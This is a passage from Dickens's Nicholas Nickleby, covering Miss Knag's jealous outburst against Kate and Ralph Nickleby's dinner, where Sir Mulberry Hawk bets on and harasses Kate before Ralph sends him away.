+not last him much longer. The mere exertion of protracted chuckling +reduced him to a fearful ebb of coughing and gasping; it was some +minutes before he could find breath to remark that the girl was too +pretty for a milliner. + +'I hope you don't think good looks a disqualification for the +business, my lord,' said Madame Mantalini, simpering. + +'Not by any means,' replied the old lord, 'or you would have left it +long ago.' + +'You naughty creature,' said the lively lady, poking the peer with +her parasol; 'I won't have you talk so. How dare you?' + +This playful inquiry was accompanied with another poke, and another, +and then the old lord caught the parasol, and wouldn't give it up +again, which induced the other lady to come to the rescue, and some +very pretty sportiveness ensued. + +'You will see that those little alterations are made, Madame +Mantalini,' said the lady. 'Nay, you bad man, you positively shall +go first; I wouldn't leave you behind with that pretty girl, not for +half a second. I know you too well. Jane, my dear, let him go +first, and we shall be quite sure of him.' + +The old lord, evidently much flattered by this suspicion, bestowed a +grotesque leer upon Kate as he passed; and, receiving another tap +with the parasol for his wickedness, tottered downstairs to the +door, where his sprightly body was hoisted into the carriage by two +stout footmen. + +'Foh!' said Madame Mantalini, 'how he ever gets into a carriage +without thinking of a hearse, I can't think. There, take the things +away, my dear, take them away.' + +Kate, who had remained during the whole scene with her eyes modestly +fixed upon the ground, was only too happy to avail herself of the +permission to retire, and hasten joyfully downstairs to Miss Knag's +dominion. + +The circumstances of the little kingdom had greatly changed, +however, during the short period of her absence. In place of Miss +Knag being stationed in her accustomed seat, preserving all the +dignity and greatness of Madame Mantalini's representative, that +worthy soul was reposing on a large box, bathed in tears, while +three or four of the young ladies in close attendance upon her, +together with the presence of hartshorn, vinegar, and other +restoratives, would have borne ample testimony, even without the +derangement of the head-dress and front row of curls, to her having +fainted desperately. + +'Bless me!' said Kate, stepping hastily forward, 'what is the +matter?' + +This inquiry produced in Miss Knag violent symptoms of a relapse; +and several young ladies, darting angry looks at Kate, applied more +vinegar and hartshorn, and said it was 'a shame.' + +'What is a shame?' demanded Kate. 'What is the matter? What has +happened? tell me.' + +'Matter!' cried Miss Knag, coming, all at once, bolt upright, to the +great consternation of the assembled maidens; 'matter! Fie upon +you, you nasty creature!' + +'Gracious!' cried Kate, almost paralysed by the violence with which +the adjective had been jerked out from between Miss Knag's closed +teeth; 'have I offended you?' + +'YOU offended me!' retorted Miss Knag, 'YOU! a chit, a child, an +upstart nobody! Oh, indeed! Ha, ha!' + +Now, it was evident, as Miss Knag laughed, that something struck her +as being exceedingly funny; and as the young ladies took their tone +from Miss Knag--she being the chief--they all got up a laugh without +a moment's delay, and nodded their heads a little, and smiled +sarcastically to each other, as much as to say how very good that +was! + +'Here she is,' continued Miss Knag, getting off the box, and +introducing Kate with much ceremony and many low curtseys to the +delighted throng; 'here she is--everybody is talking about her--the +belle, ladies--the beauty, the--oh, you bold-faced thing!' + +At this crisis, Miss Knag was unable to repress a virtuous shudder, +which immediately communicated itself to all the young ladies; after +which, Miss Knag laughed, and after that, cried. + +'For fifteen years,' exclaimed Miss Knag, sobbing in a most +affecting manner, 'for fifteen years have I been the credit and +ornament of this room and the one upstairs. Thank God,' said Miss +Knag, stamping first her right foot and then her left with +remarkable energy, 'I have never in all that time, till now, been +exposed to the arts, the vile arts, of a creature, who disgraces us +with all her proceedings, and makes proper people blush for +themselves. But I feel it, I do feel it, although I am disgusted.' + +Miss Knag here relapsed into softness, and the young ladies renewing +their attentions, murmured that she ought to be superior to such +things, and that for their part they despised them, and considered +them beneath their notice; in witness whereof, they called out, more +emphatically than before, that it was a shame, and that they felt so +angry, they did, they hardly knew what to do with themselves. + +'Have I lived to this day to be called a fright!' cried Miss Knag, +suddenly becoming convulsive, and making an effort to tear her front +off. + +'Oh no, no,' replied the chorus, 'pray don't say so; don't now!' + +'Have I deserved to be called an elderly person?' screamed Miss +Knag, wrestling with the supernumeraries. + +'Don't think of such things, dear,' answered the chorus. + +'I hate her,' cried Miss Knag; 'I detest and hate her. Never let +her speak to me again; never let anybody who is a friend of mine +speak to her; a slut, a hussy, an impudent artful hussy!' Having +denounced the object of her wrath, in these terms, Miss Knag +screamed once, hiccuped thrice, gurgled in her throat several times, +slumbered, shivered, woke, came to, composed her head-dress, and +declared herself quite well again. + +Poor Kate had regarded these proceedings, at first, in perfect +bewilderment. She had then turned red and pale by turns, and once +or twice essayed to speak; but, as the true motives of this altered +behaviour developed themselves, she retired a few paces, and looked +calmly on without deigning a reply. Nevertheless, although she +walked proudly to her seat, and turned her back upon the group of +little satellites who clustered round their ruling planet in the +remotest corner of the room, she gave way, in secret, to some such +bitter tears as would have gladdened Miss Knag's inmost soul, if she +could have seen them fall. + + + +CHAPTER 19 + +Descriptive of a Dinner at Mr Ralph Nickleby's, and of the Manner in +which the Company entertained themselves, before Dinner, at Dinner, +and after Dinner. + + +The bile and rancour of the worthy Miss Knag undergoing no +diminution during the remainder of the week, but rather augmenting +with every successive hour; and the honest ire of all the young +ladies rising, or seeming to rise, in exact proportion to the good +spinster's indignation, and both waxing very hot every time Miss +Nickleby was called upstairs; it will be readily imagined that that +young lady's daily life was none of the most cheerful or enviable +kind. She hailed the arrival of Saturday night, as a prisoner would +a few delicious hours' respite from slow and wearing torture, and +felt that the poor pittance for her first week's labour would have +been dearly and hardly earned, had its amount been trebled. + +When she joined her mother, as usual, at the street corner, she was +not a little surprised to find her in conversation with Mr Ralph +Nickleby; but her surprise was soon redoubled, no less by the matter +of their conversation, than by the smoothed and altered manner of Mr +Nickleby himself. + +'Ah! my dear!' said Ralph; 'we were at that moment talking about +you.' + +'Indeed!' replied Kate, shrinking, though she scarce knew why, from +her uncle's cold glistening eye. + +'That instant,' said Ralph. 'I was coming to call for you, making +sure to catch you before you left; but your mother and I have been +talking over family affairs, and the time has slipped away so +rapidly--' + +'Well, now, hasn't it?' interposed Mrs Nickleby, quite insensible to +the sarcastic tone of Ralph's last remark. 'Upon my word, I +couldn't have believed it possible, that such a--Kate, my dear, +you're to dine with your uncle at half-past six o'clock tomorrow.' + +Triumphing in having been the first to communicate this +extraordinary intelligence, Mrs Nickleby nodded and smiled a great +many times, to impress its full magnificence on Kate's wondering +mind, and then flew off, at an acute angle, to a committee of ways +and means. + +'Let me see,' said the good lady. 'Your black silk frock will be +quite dress enough, my dear, with that pretty little scarf, and a +plain band in your hair, and a pair of black silk stock--Dear, +dear,' cried Mrs Nickleby, flying off at another angle, 'if I had +but those unfortunate amethysts of mine--you recollect them, Kate, +my love--how they used to sparkle, you know--but your papa, your +poor dear papa--ah! there never was anything so cruelly sacrificed +as those jewels were, never!' Overpowered by this agonising thought, +Mrs Nickleby shook her head, in a melancholy manner, and applied her +handkerchief to her eyes. + +I don't want them, mama, indeed,' said Kate. 'Forget that you ever +had them.' + +'Lord, Kate, my dear,' rejoined Mrs Nickleby, pettishly, 'how like a +child you talk! Four-and-twenty silver tea-spoons, brother-in-law, +two gravies, four salts, all the amethysts--necklace, brooch, and +ear-rings--all made away with, at the same time, and I saying, +almost on my bended knees, to that poor good soul, "Why don't you do +something, Nicholas? Why don't you make some arrangement?" I am +sure that anybody who was about us at that time, will do me the +justice to own, that if I said that once, I said it fifty times a +day. Didn't I, Kate, my dear? Did I ever lose an opportunity of +impressing it on your poor papa?' + +'No, no, mama, never,' replied Kate. And to do Mrs Nickleby +justice, she never had lost--and to do married ladies as a body +justice, they seldom do lose--any occasion of inculcating similar +golden percepts, whose only blemish is, the slight degree of +vagueness and uncertainty in which they are usually enveloped. + +'Ah!' said Mrs Nickleby, with great fervour, 'if my advice had been +taken at the beginning--Well, I have always done MY duty, and that's +some comfort.' + +When she had arrived at this reflection, Mrs Nickleby sighed, rubbed +her hands, cast up her eyes, and finally assumed a look of meek +composure; thus importing that she was a persecuted saint, but that +she wouldn't trouble her hearers by mentioning a circumstance which +must be so obvious to everybody. + +'Now,' said Ralph, with a smile, which, in common with all other +tokens of emotion, seemed to skulk under his face, rather than play +boldly over it--'to return to the point from which we have strayed. +I have a little party of--of--gentlemen with whom I am connected in +business just now, at my house tomorrow; and your mother has +promised that you shall keep house for me. I am not much used to +parties; but this is one of business, and such fooleries are an +important part of it sometimes. You don't mind obliging me?' + +'Mind!' cried Mrs Nickleby. 'My dear Kate, why--' + +'Pray,' interrupted Ralph, motioning her to be silent. 'I spoke to +my niece.' + +'I shall be very glad, of course, uncle,' replied Kate; 'but I am +afraid you will find me awkward and embarrassed.' + +'Oh no,' said Ralph; 'come when you like, in a hackney coach--I'll +pay for it. Good-night--a--a--God bless you.' + +The blessing seemed to stick in Mr Ralph Nickleby's throat, as if it +were not used to the thoroughfare, and didn't know the way out. But +it got out somehow, though awkwardly enough; and having disposed of +it, he shook hands with his two relatives, and abruptly left them. + +'What a very strongly marked countenance your uncle has!' said Mrs +Nickleby, quite struck with his parting look. 'I don't see the +slightest resemblance to his poor brother.' + +'Mama!' said Kate reprovingly. 'To think of such a thing!' + +'No,' said Mrs Nickleby, musing. 'There certainly is none. But +it's a very honest face.' + +The worthy matron made this remark with great emphasis and +elocution, as if it comprised no small quantity of ingenuity and +research; and, in truth, it was not unworthy of being classed among +the extraordinary discoveries of the age. Kate looked up hastily, +and as hastily looked down again. + +'What has come over you, my dear, in the name of goodness?' asked +Mrs Nickleby, when they had walked on, for some time, in silence. + +'I was only thinking, mama,' answered Kate. + +'Thinking!' repeated Mrs Nickleby. 'Ay, and indeed plenty to think +about, too. Your uncle has taken a strong fancy to you, that's +quite clear; and if some extraordinary good fortune doesn't come to +you, after this, I shall be a little surprised, that's all.' + +With this she launched out into sundry anecdotes of young ladies, +who had had thousand-pound notes given them in reticules, by +eccentric uncles; and of young ladies who had accidentally met +amiable gentlemen of enormous wealth at their uncles' houses, and +married them, after short but ardent courtships; and Kate, listening +first in apathy, and afterwards in amusement, felt, as they walked +home, something of her mother's sanguine complexion gradually +awakening in her own bosom, and began to think that her prospects +might be brightening, and that better days might be dawning upon +them. Such is hope, Heaven's own gift to struggling mortals; +pervading, like some subtle essence from the skies, all things, both +good and bad; as universal as death, and more infectious than +disease! + +The feeble winter's sun--and winter's suns in the city are very +feeble indeed--might have brightened up, as he shone through the dim +windows of the large old house, on witnessing the unusual sight +which one half-furnished room displayed. In a gloomy corner, where, +for years, had stood a silent dusty pile of merchandise, sheltering +its colony of mice, and frowning, a dull and lifeless mass, upon the +panelled room, save when, responding to the roll of heavy waggons in +the street without, it quaked with sturdy tremblings and caused the +bright eyes of its tiny citizens to grow brighter still with fear, +and struck them motionless, with attentive ear and palpitating +heart, until the alarm had passed away--in this dark corner, was +arranged, with scrupulous care, all Kate's little finery for the +day; each article of dress partaking of that indescribable air of +jauntiness and individuality which empty garments--whether by +association, or that they become moulded, as it were, to the owner's +form--will take, in eyes accustomed to, or picturing, the wearer's +smartness. In place of a bale of musty goods, there lay the black +silk dress: the neatest possible figure in itself. The small shoes, +with toes delicately turned out, stood upon the very pressure of +some old iron weight; and a pile of harsh discoloured leather had +unconsciously given place to the very same little pair of black silk +stockings, which had been the objects of Mrs Nickleby's peculiar +care. Rats and mice, and such small gear, had long ago been +starved, or had emigrated to better quarters: and, in their stead, +appeared gloves, bands, scarfs, hair-pins, and many other little +devices, almost as ingenious in their way as rats and mice +themselves, for the tantalisation of mankind. About and among them +all, moved Kate herself, not the least beautiful or unwonted relief +to the stern, old, gloomy building. + +In good time, or in bad time, as the reader likes to take it--for +Mrs Nickleby's impatience went a great deal faster than the clocks +at that end of the town, and Kate was dressed to the very last hair- +pin a full hour and a half before it was at all necessary to begin +to think about it--in good time, or in bad time, the toilet was +completed; and it being at length the hour agreed upon for starting, +the milkman fetched a coach from the nearest stand, and Kate, with +many adieux to her mother, and many kind messages to Miss La Creevy, +who was to come to tea, seated herself in it, and went away in +state, if ever anybody went away in state in a hackney coach yet. +And the coach, and the coachman, and the horses, rattled, and +jangled, and whipped, and cursed, and swore, and tumbled on +together, until they came to Golden Square. + +The coachman gave a tremendous double knock at the door, which was +opened long before he had done, as quickly as if there had been a +man behind it, with his hand tied to the latch. Kate, who had +expected no more uncommon appearance than Newman Noggs in a clean +shirt, was not a little astonished to see that the opener was a man +in handsome livery, and that there were two or three others in the +hall. There was no doubt about its being the right house, however, +for there was the name upon the door; so she accepted the laced +coat-sleeve which was tendered her, and entering the house, was +ushered upstairs, into a back drawing-room, where she was left +alone. + +If she had been surprised at the apparition of the footman, she was +perfectly absorbed in amazement at the richness and splendour of the +furniture. The softest and most elegant carpets, the most exquisite +pictures, the costliest mirrors; articles of richest ornament, quite +dazzling from their beauty and perplexing from the prodigality with +which they were scattered around; encountered her on every side. +The very staircase nearly down to the hall-door, was crammed with +beautiful and luxurious things, as though the house were brimful of +riches, which, with a very trifling addition, would fairly run over +into the street. + +Presently, she heard a series of loud double knocks at the street- +door, and after every knock some new voice in the next room; the +tones of Mr Ralph Nickleby were easily distinguishable at first, but +by degrees they merged into the general buzz of conversation, and +all she could ascertain was, that there were several gentlemen with +no very musical voices, who talked very loud, laughed very heartily, +and swore more than she would have thought quite necessary. But +this was a question of taste. + +At length, the door opened, and Ralph himself, divested of his +boots, and ceremoniously embellished with black silks and shoes, +presented his crafty face. + +'I couldn't see you before, my dear,' he said, in a low tone, and +pointing, as he spoke, to the next room. 'I was engaged in +receiving them. Now--shall I take you in?' + +'Pray, uncle,' said Kate, a little flurried, as people much more +conversant with society often are, when they are about to enter a +room full of strangers, and have had time to think of it previously, +'are there any ladies here?' + +'No,' said Ralph, shortly, 'I don't know any.' + +'Must I go in immediately?' asked Kate, drawing back a little. + +'As you please,' said Ralph, shrugging his shoulders. 'They are all +come, and dinner will be announced directly afterwards--that's all.' + +Kate would have entreated a few minutes' respite, but reflecting +that her uncle might consider the payment of the hackney-coach fare +a sort of bargain for her punctuality, she suffered him to draw her +arm through his, and to lead her away. + +Seven or eight gentlemen were standing round the fire when they went +in, and, as they were talking very loud, were not aware of their +entrance until Mr Ralph Nickleby, touching one on the coat-sleeve, +said in a harsh emphatic voice, as if to attract general attention-- + +'Lord Frederick Verisopht, my niece, Miss Nickleby.' + +The group dispersed, as if in great surprise, and the gentleman +addressed, turning round, exhibited a suit of clothes of the most +superlative cut, a pair of whiskers of similar quality, a moustache, +a head of hair, and a young face. + +'Eh!' said the gentleman. 'What--the--deyvle!' + +With which broken ejaculations, he fixed his glass in his eye, and +stared at Miss Nickleby in great surprise. + +'My niece, my lord,' said Ralph. + +'Then my ears did not deceive me, and it's not wa-a-x work,' said +his lordship. 'How de do? I'm very happy.' And then his lordship +turned to another superlative gentleman, something older, something +stouter, something redder in the face, and something longer upon +town, and said in a loud whisper that the girl was 'deyvlish pitty.' + +'Introduce me, Nickleby,' said this second gentleman, who was +lounging with his back to the fire, and both elbows on the +chimneypiece. + +'Sir Mulberry Hawk,' said Ralph. + +'Otherwise the most knowing card in the pa-ack, Miss Nickleby,' said +Lord Frederick Verisopht. + +'Don't leave me out, Nickleby,' cried a sharp-faced gentleman, who +was sitting on a low chair with a high back, reading the paper. + +'Mr Pyke,' said Ralph. + +'Nor me, Nickleby,' cried a gentleman with a flushed face and a +flash air, from the elbow of Sir Mulberry Hawk. + +'Mr Pluck,' said Ralph. Then wheeling about again, towards a +gentleman with the neck of a stork and the legs of no animal in +particular, Ralph introduced him as the Honourable Mr Snobb; and a +white-headed person at the table as Colonel Chowser. The colonel +was in conversation with somebody, who appeared to be a make-weight, +and was not introduced at all. + +There were two circumstances which, in this early stage of the +party, struck home to Kate's bosom, and brought the blood tingling +to her face. One was the flippant contempt with which the guests +evidently regarded her uncle, and the other, the easy insolence of +their manner towards herself. That the first symptom was very +likely to lead to the aggravation of the second, it needed no great +penetration to foresee. And here Mr Ralph Nickleby had reckoned +without his host; for however fresh from the country a young lady +(by nature) may be, and however unacquainted with conventional +behaviour, the chances are, that she will have quite as strong an +innate sense of the decencies and proprieties of life as if she had +run the gauntlet of a dozen London seasons--possibly a stronger one, +for such senses have been known to blunt in this improving process. + +When Ralph had completed the ceremonial of introduction, he led his +blushing niece to a seat. As he did so, he glanced warily round as +though to assure himself of the impression which her unlooked-for +appearance had created. + +'An unexpected playsure, Nickleby,' said Lord Frederick Verisopht, +taking his glass out of his right eye, where it had, until now, done +duty on Kate, and fixing it in his left, to bring it to bear on +Ralph. + +'Designed to surprise you, Lord Frederick,' said Mr Pluck. + +'Not a bad idea,' said his lordship, 'and one that would almost +warrant the addition of an extra two and a half per cent.' + +'Nickleby,' said Sir Mulberry Hawk, in a thick coarse voice, 'take +the hint, and tack it on the other five-and-twenty, or whatever it +is, and give me half for the advice.' + +Sir Mulberry garnished this speech with a hoarse laugh, and +terminated it with a pleasant oath regarding Mr Nickleby's limbs, +whereat Messrs Pyke and Pluck laughed consumedly. + +These gentlemen had not yet quite recovered the jest, when dinner +was announced, and then they were thrown into fresh ecstasies by a +similar cause; for Sir Mulberry Hawk, in an excess of humour, shot +dexterously past Lord Frederick Verisopht who was about to lead Kate +downstairs, and drew her arm through his up to the elbow. + +'No, damn it, Verisopht,' said Sir Mulberry, 'fair play's a jewel, +and Miss Nickleby and I settled the matter with our eyes ten minutes +ago.' + +'Ha, ha, ha!' laughed the honourable Mr Snobb, 'very good, very +good.' + +Rendered additionally witty by this applause, Sir Mulberry Hawk +leered upon his friends most facetiously, and led Kate downstairs +with an air of familiarity, which roused in her gentle breast such +burning indignation, as she felt it almost impossible to repress. +Nor was the intensity of these feelings at all diminished, when she +found herself placed at the top of the table, with Sir Mulberry Hawk +and Lord Frederick Verisopht on either side. + +'Oh, you've found your way into our neighbourhood, have you?' said +Sir Mulberry as his lordship sat down. + +'Of course,' replied Lord Frederick, fixing his eyes on Miss +Nickleby, 'how can you a-ask me?' + +'Well, you attend to your dinner,' said Sir Mulberry, 'and don't +mind Miss Nickleby and me, for we shall prove very indifferent +company, I dare say.' + +'I wish you'd interfere here, Nickleby,' said Lord Frederick. + +'What is the matter, my lord?' demanded Ralph from the bottom of the +table, where he was supported by Messrs Pyke and Pluck. + +'This fellow, Hawk, is monopolising your niece,' said Lord Frederick. + +'He has a tolerable share of everything that you lay claim to, my +lord,' said Ralph with a sneer. + +''Gad, so he has,' replied the young man; 'deyvle take me if I know +which is master in my house, he or I.' + +'I know,' muttered Ralph. + +'I think I shall cut him off with a shilling,' said the young +nobleman, jocosely. + +'No, no, curse it,' said Sir Mulberry. 'When you come to the +shilling--the last shilling--I'll cut you fast enough; but till +then, I'll never leave you--you may take your oath of it.' + +This sally (which was strictly founded on fact) was received with a +general roar, above which, was plainly distinguishable the laughter +of Mr Pyke and Mr Pluck, who were, evidently, Sir Mulberry's toads +in ordinary. Indeed, it was not difficult to see, that the majority +of the company preyed upon the unfortunate young lord, who, weak and +silly as he was, appeared by far the least vicious of the party. +Sir Mulberry Hawk was remarkable for his tact in ruining, by himself +and his creatures, young gentlemen of fortune--a genteel and elegant +profession, of which he had undoubtedly gained the head. With all +the boldness of an original genius, he had struck out an entirely +new course of treatment quite opposed to the usual method; his +custom being, when he had gained the ascendancy over those he took +in hand, rather to keep them down than to give them their own way; +and to exercise his vivacity upon them openly, and without reserve. +Thus, he made them butts, in a double sense, and while he emptied +them with great address, caused them to ring with sundry well- +administered taps, for the diversion of society. + +The dinner was as remarkable for the splendour and completeness of +its appointments as the mansion itself, and the company were +remarkable for doing it ample justice, in which respect Messrs Pyke +and Pluck particularly signalised themselves; these two gentlemen +eating of every dish, and drinking of every bottle, with a capacity +and perseverance truly astonishing. They were remarkably fresh, +too, notwithstanding their great exertions: for, on the appearance +of the dessert, they broke out again, as if nothing serious had +taken place since breakfast. + +'Well,' said Lord Frederick, sipping his first glass of port, 'if +this is a discounting dinner, all I have to say is, deyvle take me, +if it wouldn't be a good pla-an to get discount every day.' + +'You'll have plenty of it, in your time,' returned Sir Mulberry +Hawk; 'Nickleby will tell you that.' + +'What do you say, Nickleby?' inquired the young man; 'am I to be a +good customer?' + +'It depends entirely on circumstances, my lord,' replied Ralph. + +'On your lordship's circumstances,' interposed Colonel Chowser of +the Militia--and the race-courses. + +The gallant colonel glanced at Messrs Pyke and Pluck as if he +thought they ought to laugh at his joke; but those gentlemen, being +only engaged to laugh for Sir Mulberry Hawk, were, to his signal +discomfiture, as grave as a pair of undertakers. To add to his +defeat, Sir Mulberry, considering any such efforts an invasion of +his peculiar privilege, eyed the offender steadily, through his +glass, as if astonished at his presumption, and audibly stated his +impression that it was an 'infernal liberty,' which being a hint to +Lord Frederick, he put up HIS glass, and surveyed the object of +censure as if he were some extraordinary wild animal then exhibiting +for the first time. As a matter of course, Messrs Pyke and Pluck +stared at the individual whom Sir Mulberry Hawk stared at; so, the +poor colonel, to hide his confusion, was reduced to the necessity of +holding his port before his right eye and affecting to scrutinise +its colour with the most lively interest. + +All this while, Kate had sat as silently as she could, scarcely +daring to raise her eyes, lest they should encounter the admiring +gaze of Lord Frederick Verisopht, or, what was still more +embarrassing, the bold looks of his friend Sir Mulberry. The latter +gentleman was obliging enough to direct general attention towards +her. + +'Here is Miss Nickleby,' observed Sir Mulberry, 'wondering why the +deuce somebody doesn't make love to her.' + +'No, indeed,' said Kate, looking hastily up, 'I--' and then she +stopped, feeling it would have been better to have said nothing at +all. + +'I'll hold any man fifty pounds,' said Sir Mulberry, 'that Miss +Nickleby can't look in my face, and tell me she wasn't thinking so.' + +'Done!' cried the noble gull. 'Within ten minutes.' + +'Done!' responded Sir Mulberry. The money was produced on both +sides, and the Honourable Mr Snobb was elected to the double office +of stake-holder and time-keeper. + +'Pray,' said Kate, in great confusion, while these preliminaries +were in course of completion. 'Pray do not make me the subject of +any bets. Uncle, I cannot really--' + +'Why not, my dear?' replied Ralph, in whose grating voice, however, +there was an unusual huskiness, as though he spoke unwillingly, and +would rather that the proposition had not been broached. 'It is +done in a moment; there is nothing in it. If the gentlemen insist +on it--' + +'I don't insist on it,' said Sir Mulberry, with a loud laugh. 'That +is, I by no means insist upon Miss Nickleby's making the denial, for +if she does, I lose; but I shall be glad to see her bright eyes, +especially as she favours the mahogany so much.' + +'So she does, and it's too ba-a-d of you, Miss Nickleby,' said the +noble youth. + +'Quite cruel,' said Mr Pyke. + +'Horrid cruel,' said Mr Pluck. + +'I don't care if I do lose,' said Sir Mulberry; 'for one tolerable +look at Miss Nickleby's eyes is worth double the money.' + +'More,' said Mr Pyke. + +'Far more,' said Mr Pluck. + +'How goes the enemy, Snobb?' asked Sir Mulberry Hawk. + +'Four minutes gone.' + +'Bravo!' + +'Won't you ma-ake one effort for me, Miss Nickleby?' asked Lord +Frederick, after a short interval. + +'You needn't trouble yourself to inquire, my buck,' said Sir +Mulberry; 'Miss Nickleby and I understand each other; she declares +on my side, and shows her taste. You haven't a chance, old fellow. +Time, Snobb?' + +'Eight minutes gone.' + +'Get the money ready,' said Sir Mulberry; 'you'll soon hand over.' + +'Ha, ha, ha!' laughed Mr Pyke. + +Mr Pluck, who always came second, and topped his companion if he +could, screamed outright. + +The poor girl, who was so overwhelmed with confusion that she +scarcely knew what she did, had determined to remain perfectly +quiet; but fearing that by so doing she might seem to countenance +Sir Mulberry's boast, which had been uttered with great coarseness +and vulgarity of manner, raised her eyes, and looked him in the +face. There was something so odious, so insolent, so repulsive in +the look which met her, that, without the power to stammer forth a +syllable, she rose and hurried from the room. She restrained her +tears by a great effort until she was alone upstairs, and then gave +them vent. + +'Capital!' said Sir Mulberry Hawk, putting the stakes in his pocket. + +'That's a girl of spirit, and we'll drink her health.' + +It is needless to say, that Pyke and Co. responded, with great +warmth of manner, to this proposal, or that the toast was drunk with +many little insinuations from the firm, relative to the completeness +of Sir Mulberry's conquest. Ralph, who, while the attention of the +other guests was attracted to the principals in the preceding scene, +had eyed them like a wolf, appeared to breathe more freely now his +niece was gone; the decanters passing quickly round, he leaned back +in his chair, and turned his eyes from speaker to speaker, as they +warmed with wine, with looks that seemed to search their hearts, and +lay bare, for his distempered sport, every idle thought within them. + +Meanwhile Kate, left wholly to herself, had, in some degree, +recovered her composure. She had learnt from a female attendant, +that her uncle wished to see her before she left, and had also +gleaned the satisfactory intelligence, that the gentlemen would take +coffee at table. The prospect of seeing them no more, contributed +greatly to calm her agitation, and, taking up a book, she composed +herself to read. + +She started sometimes, when the sudden opening of the dining-room +door let loose a wild shout of noisy revelry, and more than once +rose in great alarm, as a fancied footstep on the staircase +impressed her with the fear that some stray member of the party was +returning alone. Nothing occurring, however, to realise her +apprehensions, she endeavoured to fix her attention more closely on +her book, in which by degrees she became so much interested, that +she had read on through several chapters without heed of time or +place, when she was terrified by suddenly hearing her name +pronounced by a man's voice close at her ear. + +The book fell from her hand. Lounging on an ottoman close beside +her, was Sir Mulberry Hawk, evidently the worse--if a man be a +ruffian at heart, he is never the better--for wine. + +'What a delightful studiousness!' said this accomplished gentleman. +'Was it real, now, or only to display the eyelashes?' + +Kate, looking anxiously towards the door, made no reply. + +'I have looked at 'em for five minutes,' said Sir Mulberry. 'Upon +my soul, they're perfect. Why did I speak, and destroy such a +pretty little picture?' + +'Do me the favour to be silent now, sir,' replied Kate. + +'No, don't,' said Sir Mulberry, folding his crushed hat to lay his +elbow on, and bringing himself still closer to the young lady; 'upon +my life, you oughtn't to. Such a devoted slave of yours, Miss +Nickleby--it's an infernal thing to treat him so harshly, upon my +soul it is.' + +'I wish you to understand, sir,' said Kate, trembling in spite of +herself, but speaking with great indignation, 'that your behaviour +offends and disgusts me. If you have a spark of gentlemanly feeling +remaining, you will leave me.' + +'Now why,' said Sir Mulberry, 'why will you keep up this appearance +of excessive rigour, my sweet creature? Now, be more natural--my +dear Miss Nickleby, be more natural--do.' + +Kate hastily rose; but as she rose, Sir Mulberry caught her dress, +and forcibly detained her. + +'Let me go, sir,' she cried, her heart swelling with anger. 'Do you +hear? Instantly--this moment.' + +'Sit down, sit down,' said Sir Mulberry; 'I want to talk to you.' + +'Unhand me, sir, this instant,' cried Kate. + +'Not for the world,' rejoined Sir Mulberry. Thus speaking, he +leaned over, as if to replace her in her chair; but the young lady, +making a violent effort to disengage herself, he lost his balance, +and measured his length upon the ground. As Kate sprung forward to +leave the room, Mr Ralph Nickleby appeared in the doorway, and +confronted her. + +'What is this?' said Ralph. + +'It is this, sir,' replied Kate, violently agitated: 'that beneath +the roof where I, a helpless girl, your dead brother's child, should +most have found protection, I have been exposed to insult which +should make you shrink to look upon me. Let me pass you.' + +Ralph DID shrink, as the indignant girl fixed her kindling eye upon +him; but he did not comply with her injunction, nevertheless: for he +led her to a distant seat, and returning, and approaching Sir +Mulberry Hawk, who had by this time risen, motioned towards the +door. + +'Your way lies there, sir,' said Ralph, in a suppressed voice, that +some devil might have owned with pride. + +'What do you mean by that?' demanded his friend, fiercely. + +The swoln veins stood out like sinews on Ralph's wrinkled forehead, +and the nerves about his mouth worked as though some unendurable +emotion wrung them; but he smiled disdainfully, and again pointed to +the door. + +'Do you know me, you old madman?' asked Sir Mulberry. + +'Well,' said Ralph. The fashionable vagabond for the moment quite +quailed under the steady look of the older sinner, and walked +towards the door, muttering as he went. + +'You wanted the lord, did you?' he said, stopping short when he +reached the door, as if a new light had broken in upon him, and +confronting Ralph again. 'Damme, I was in the way, was I?' + +Ralph smiled again, but made no answer. + +'Who brought him to you first?' pursued Sir Mulberry; 'and how, +without me, could you ever have wound him in your net as you have?' + +'The net is a large one, and rather full,' said Ralph. 'Take care +that it chokes nobody in the meshes.' + +'You would sell your flesh and blood for money; yourself, if you +have not already made a bargain with the devil,' retorted the other. +'Do you mean to tell me that your pretty niece was not brought here +as a decoy for the drunken boy downstairs?' + +Although this hurried dialogue was carried on in a suppressed tone +on both sides, Ralph looked involuntarily round to ascertain that +Kate had not moved her position so as to be within hearing. His +adversary saw the advantage he had gained, and followed it up. + +'Do you mean to tell me,' he asked again, 'that it is not so? Do +you mean to say that if he had found his way up here instead of me, +you wouldn't have been a little more blind, and a little more deaf, +and a little less flourishing, than you have been? Come, Nickleby, +answer me that.' + +'I tell you this,' replied Ralph, 'that if I brought her here, as a +matter of business--' + +'Ay, that's the word,' interposed Sir Mulberry, with a laugh. +'You're coming to yourself again now.' + +'--As a matter of business,' pursued Ralph, speaking slowly and +firmly, as a man who has made up his mind to say no more, 'because I +thought she might make some impression on the silly youth you have +taken in hand and are lending good help to ruin, I knew--knowing +him--that it would be long before he outraged her girl's feelings, +and that unless he offended by mere puppyism and emptiness, he +would, with a little management, respect the sex and conduct even of +his usurer's niece. But if I thought to draw him on more gently by +this device, I did not think of subjecting the girl to the +licentiousness and brutality of so old a hand as you. And now we +understand each other.' + +'Especially as there was nothing to be got by it--eh?' sneered Sir +Mulberry. + +'Exactly so,' said Ralph. He had turned away, and looked over his +shoulder to make this last reply. The eyes of the two worthies met, +with an expression as if each rascal felt that there was no +disguising himself from the other; and Sir Mulberry Hawk shrugged +his shoulders and walked slowly out. + +His friend closed the door, and looked restlessly towards the spot +where his niece still remained in the attitude in which he had left +her. She had flung herself heavily upon the couch, and with her +head drooping over the cushion, and her face hidden in her hands, +seemed to be still weeping in an agony of shame and grief. + +Ralph would have walked into any poverty-stricken debtor's house, +and pointed him out to a bailiff, though in attendance upon a young +child's death-bed, without the smallest concern, because it would +have been a matter quite in the ordinary course of business, and the +man would have been an offender against his only code of morality. +But, here was a young girl, who had done no wrong save that of +coming into the world alive; who had patiently yielded to all his +wishes; who had tried hard to please him--above all, who didn't owe +him money--and he felt awkward and nervous. + +Ralph took a chair at some distance; then, another chair a little +nearer; then, moved a little nearer still; then, nearer again, and +finally sat himself on the same sofa, and laid his hand on Kate's +arm. + +'Hush, my dear!' he said, as she drew it back, and her sobs burst +out afresh. 'Hush, hush! Don't mind it, now; don't think of it.' + +'Oh, for pity's sake, let me go home,' cried Kate. 'Let me leave +this house, and go home.' + +'Yes, yes,' said Ralph. 'You shall. But you must dry your eyes +first, and compose yourself. Let me raise your head. There-- +there.' + +'Oh, uncle!' exclaimed Kate, clasping her hands. 'What have I done +--what have I done--that you should subject me to this? If I had +wronged you in 